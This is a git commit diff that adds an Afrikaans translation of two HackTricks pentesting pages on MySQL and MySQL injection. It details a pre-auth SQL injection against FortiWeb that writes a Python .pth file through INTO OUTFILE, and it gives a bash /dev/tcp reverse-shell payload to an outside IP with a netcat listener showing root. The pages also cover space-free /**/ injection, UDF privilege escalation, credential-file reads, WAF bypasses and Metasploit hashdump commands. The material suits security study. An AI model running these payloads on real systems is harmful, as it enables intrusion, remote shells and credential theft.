Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/

This commit is contained in:
Translator 2025-07-14 08:42:33 +00:00
parent a27da66908
commit 067b2f91ec
2 changed files with 86 additions and 18 deletions

View File

@ -1,10 +1,15 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **Basiese Inligting**
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestruktureerde Vraataal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
**MySQL** kan beskryf word as 'n oopbron **Relasionele Databasisbestuurstelsel (RDBMS)** wat gratis beskikbaar is. Dit werk op die **Gestructureerde Navraagtaal (SQL)**, wat die bestuur en manipulasie van databasisse moontlik maak.
**Standaard poort:** 3306
```
@ -101,7 +106,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
You kan die betekenis van elke voorreg in die dokumentasie sien: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL Lêer RCE
@ -109,10 +114,47 @@ U kan in die dokumentasie die betekenis van elke voorreg sien: [https://dev.mysq
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (webwerf-spesifieke konfigurasie hake)
Deur die klassieke `INTO OUTFILE` primitief te misbruik, is dit moontlik om *arbitraire kode-uitvoering* op teikens te verkry wat later **Python** skripte uitvoer.
1. Gebruik `INTO OUTFILE` om 'n pasgemaakte **`.pth`** lêer binne enige gids te laat val wat outomaties deur `site.py` gelaai word (bv. `.../lib/python3.10/site-packages/`).
2. Die `.pth` lêer kan 'n *enkele lyn* bevat wat begin met `import ` gevolg deur arbitraire Python kode wat elke keer uitgevoer sal word wanneer die interpreter begin.
3. Wanneer die interpreter implisiet deur 'n CGI-skrip uitgevoer word (byvoorbeeld `/cgi-bin/ml-draw.py` met shebang `#!/bin/python`), word die payload uitgevoer met dieselfde voorregte as die web-bediener proses (FortiWeb het dit as **root** uitgevoer → volle pre-auth RCE).
Voorbeeld `.pth` payload (enkele lyn, geen spaties kan in die finale SQL payload ingesluit word nie, so hex/`UNHEX()` of string concatenasie mag benodig word):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Voorbeeld van die opstel van die lêer deur middel van 'n **UNION** navraag (spasie karakters vervang met `/**/` om 'n `sscanf("%128s")` spasie filter te omseil en die totale lengte ≤128 bytes te hou):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Belangrike beperkings & omseilings:
* `INTO OUTFILE` **kan nie** bestaande lêers oorskryf nie; kies 'n nuwe lêernaam.
* Die lêerpad word **relatief tot MySQL se CWD** opgelos, so om te prefix met `../../` help om die pad te verkort en absolute-pad beperkings te omseil.
* As die aanvaller se invoer met `%128s` (of soortgelyk) onttrek word, sal enige spasie die payload afbreek; gebruik MySQL kommentaarreekse `/**/` of `/*!*/` om spasies te vervang.
* Die MySQL gebruiker wat die navraag uitvoer, het die `FILE` voorreg, maar in baie toestelle (bv. FortiWeb) loop die diens as **root**, wat skrywe toegang byna oral gee.
Na die `.pth` verwydering, vra eenvoudig enige CGI wat deur die python-interpretator hanteer word om kode-uitvoering te verkry:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Die Python-proses sal die kwaadwillige `.pth` outomaties invoer en die shell-payload uitvoer.
```
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrêre lêer lees deur kliënt
Werklik, wanneer jy probeer om **data plaaslik in 'n tabel te laai** die **inhoud van 'n lêer** vra die MySQL of MariaDB bediener die **kliënt om dit te lees** en die inhoud te stuur. **Dan, as jy 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.**\
Let asseblief daarop dat dit die gedrag is wat gebruik word:
Let asseblief op dat dit die gedrag is wat gebruik word:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
@ -123,7 +165,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Inisiële PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Begin PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In hierdie artikel kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hier kan jy 'n oorsig van die aanval vind:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -142,11 +184,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
```
#### Gevaarlike Instellings van mysqld.cnf
In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om die werking en sekuriteitsmaatreëls daarvan te definieer:
In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:
- Die **`user`** instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
- **`password`** word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfaan.
- **`admin_address`** spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfase.
- Die **`debug`** veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
- **`sql_warnings`** bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
- Met **`secure_file_priv`** word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.
@ -171,11 +213,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql uitvoer, benodig.
As die **mysql bediener as root** (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy **gebruikers gedefinieerde funksies** gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n **biblioteek** vir die OS wat mysql draai, nodig hê.
Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur **`locate "*lib_mysqludf_sys*"`** te doen. Die **`.so`** lêers is **linux** biblioteke en die **`.dll`** is die **Windows** een, kies die een wat jy nodig het.
As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien saamstel**:
As jy **nie** daardie biblioteke het nie, kan jy of **soek daarna**, of hierdie [**linux C kode**](https://www.exploit-db.com/exploits/1518) aflaai en **dit binne die linux kwesbare masjien compileer**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -220,9 +262,9 @@ Binne _/etc/mysql/debian.cnf_ kan jy die **duidelike wagwoord** van die gebruike
```bash
cat /etc/mysql/debian.cnf
```
U kan **hierdie geloofsbriewe gebruik om in te log in die mysql-databasis**.
U kan **hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld**.
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u kan onttrek uit mysql.user binne die databasis)_._
Binne die lêer: _/var/lib/mysql/mysql/user.MYD_ kan u **alle hashes van die MySQL gebruikers** vind (diegene wat u uit mysql.user binne die databasis kan onttrek)_._
U kan dit onttrek deur:
```bash
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
```
### Aktivering van logging
Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontkommentarieer:
Jy kan logging van mysql navrae aktief maak binne `/etc/mysql/my.cnf` deur die volgende lyne te ontmerk:
![](<../images/image (899).png>)
@ -609,4 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Verwysings
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -92,7 +92,7 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Unie Gebaseerdf
## MySQL Unie Gebaseer
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
@ -105,9 +105,9 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
## WAF omseil truuks
### Uitvoering van navrae deur Voorbereide Verklarings
### Uitvoering van navrae deur Voorbereide Stellinge
Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omseil deur die hex voorstelling van die navraag wat jy wil uitvoer aan 'n veranderlike toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL verklarings te gebruik om uiteindelik die navraag uit te voer. Iets soos hierdie:
Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omseil deur die hex voorstelling van die navraag wat jy wil uitvoer aan 'n veranderlike toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL stellinge te gebruik om uiteindelik die navraag uit te voer. Iets soos hierdie:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
@ -125,7 +125,7 @@ Kies 2 kolomme sonder om enige komma te gebruik ([https://security.stackexchange
```
### Herwinning waardes sonder die kolomnaam
As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos uit te voer:
As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
@ -138,9 +138,31 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Meer inligting in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Injeksie sonder SPASIES (`/**/` kommentaar truuk)
Sommige toepassings sanitiseer of parseer gebruikersinvoer met funksies soos `sscanf("%128s", buf)` wat **stop by die eerste spasie karakter**.
Omdat MySQL die reeks `/**/` as 'n kommentaar *en* as spasie behandel, kan dit gebruik word om normale spasies heeltemal uit die payload te verwyder terwyl die navraag sintakties geldig bly.
Voorbeeld van tyd-gebaseerde blinde injeksie wat die spasie-filter omseil:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Watter die databasis ontvang as:
```sql
' OR SLEEP(5)-- -'
```
Dit is veral handig wanneer:
* Die beheerde buffer is beperk in grootte (bv. `%128s`) en spaties sou die invoer voortydig beëindig.
* Injektering deur HTTP-koptekste of ander velde waar normale spaties verwyder of as skeiders gebruik word.
* Gecombineer met `INTO OUTFILE` primitiewe om volle pre-auth RCE te bereik (sien die MySQL File RCE afdeling).
---
### MySQL geskiedenis
Jy kan ander uitvoerings sien binne die MySQL deur die tabel te lees: **sys.x$statement_analysis**
Jy kan ander uitvoerings binne die MySQL sien deur die tabel: **sys.x$statement_analysis**
### Weergawe alternatiewe**s**
```
@ -150,11 +172,12 @@ mysql> select version();
```
## Ander MYSQL-inspuitingsgidse
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi na RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../../../banners/hacktricks-training.md}}